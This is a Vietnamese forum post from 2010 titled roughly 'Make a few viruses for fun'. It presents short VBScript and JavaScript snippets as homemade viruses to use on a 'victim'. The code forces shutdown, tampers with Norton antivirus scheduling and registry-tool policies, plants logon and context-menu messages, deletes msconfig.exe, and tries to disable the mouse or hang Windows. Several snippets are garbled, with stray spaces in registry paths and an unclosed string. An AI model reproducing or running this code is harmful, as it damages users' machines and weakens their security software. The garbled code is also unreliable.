Kiếm Trong Diễn Ðàn Show Threads  Show Posts
Trang Chủ

Go Back   RA LÀ VẬY ^_^ KNOW HOW! > Kỹ năng hàng ngày mang lại lợi ích gì? > Kiến thức chuyên ngành > Máy tính và Internet

Tự tạo vài con virus chơi

Máy tính và Internet


 
 
Ðiều Chỉnh Kiếm Trong Bài Xếp Bài
Prev Previous Post   Next Post Next
Old 08-31-2010, 07:34 PM   #1
duyniceboy
Super Moderator
 
duyniceboy's Avatar
 
Tham gia: May 2010
Đến từ: HCM
Bài gửi: 1,804
Smile Tự tạo vài con virus chơi

Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng VBSCRIPT hoặc Javascript rồi:


Dưới đây là code của một số con virus nhỏ dưới dạng VBS:

1.Không cho victim khởi động máy:

Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows"


2. Disable NAV:

Dim wsh
Set wsh= CreateObject( "WScript.Shell")
s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servi ces\Norton Program
Scheduler\Start"
wsh.RegWrite s1,3, "REG_DWORD"


3. Hiển thị một message mỗi khi reboot máy:

dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\Wi nLogon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "http://allformy.topcities.com"
wsh.RegWrite s1+s3, "Hi ! Toi la TrungWK- Toi den tu Chip&Kitty.tk"


4. Hiển thị một dòng lệnh khi click vào file hay folder:

set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Hi ! Ban da bi nhiem WK tu Chip&Kitty.tk"
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hi ! Ban da bi nhiem WK tu Chip&Kitty.tk\","Robinhood"


5. Làm cho các trò trên hoạt động bình thường:

Dim objShell
Set objShell = CreateObject( "WScript.Shell" )
s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\Cu rrentVersion\"
s2 = "Policies\System\DisableRegistryTools"
objShell.RegWrite s1+s2,1, "REG_DWORD"

Dưới dạng Javascipt :

var wsh;
wsh=new ActiveXObject ("Wscript.shell");


// Winlogon when reboot
var s1 = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersio n\\WinLogon\\";
var s2 = "LegalNoticeCaption";
var s3 = "LegalNoticeText";
wsh.RegWrite (s1+ s2, "http://allformy.topcities.com") ;
wsh.RegWrite (s1+s3, "Hi ! Toi la Anti_Love. Toi den tu Chip&Kitty.com") ;

//Disable Registry
var s1 = "HKEY_USERS\\.Default\\Software\\Microsoft\\Window s\\CurrentVersion\\";
var s2 = "Policies\\System\\DisableRegistryTools" ;
wsh.RegWrite (s1+s2,0,"REG_DWORD");


//Delete file Msconfig.exe làm cho victim khởi động tới Registry luôn

var fso;
fso=new ActiveXObject("Scripting.FileSystemObject");
var fe=fso.getfile("C:\\windows\\msconfig.exe);
fe.delete true;


//Disable Mouse

wsh.run ("RUNDLL32.EXE mouse,disable");


//Hang up windows

wsh.run ("rundll32 user,disableoemlayer");

Nguồn:
http://rootbiez.blogspot.com

Những bài viết ngẫu nhiên trong Box:
duyniceboy is offline   Trả Lời Với Trích Dẫn
 

Bookmarks

Tags
diệt virus , tạo virus , virus , virus tự tạo


Ðang đọc: 1 (0 thành viên và 1 khách)
 
Ðiều Chỉnh Kiếm Trong Bài
Kiếm Trong Bài:

Kiếm Chi Tiết
Xếp Bài

Quyền Sử Dụng
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Mở
Smilies đang Mở
[IMG] đang Mở
HTML đang Tắt


Similar Threads
Ðề tài Người Gởi Chuyên mục Trả lời Bài mới gửi
Vừa chơi vừa học, tìm kiếm tự do tài chính trong tầm tay phamtheanh Đào tạo - Việc làm - Tuyển dụng 0 03-17-2011 12:19 AM
20 giao diện tuyệt đẹp cho Windows Media Player reina172 Máy tính và Internet 4 10-09-2010 11:00 PM
1 Ngày của dân chơi nhiều tiền nhanvatso1 Những tình huống oái oăm 0 10-01-2010 08:47 PM
Virus “Here you have” lây nhiễm toàn cầu miss cò Lắp đặt Internet - Sửa chữa máy tính 0 09-24-2010 08:55 PM
10 cách để gặp ma... TimeLine Giao lưu - Tán gẫu 10 09-17-2010 07:43 AM

Powered by:MTG

E-mail: admin@muathoigian.vn



ChipLove's Family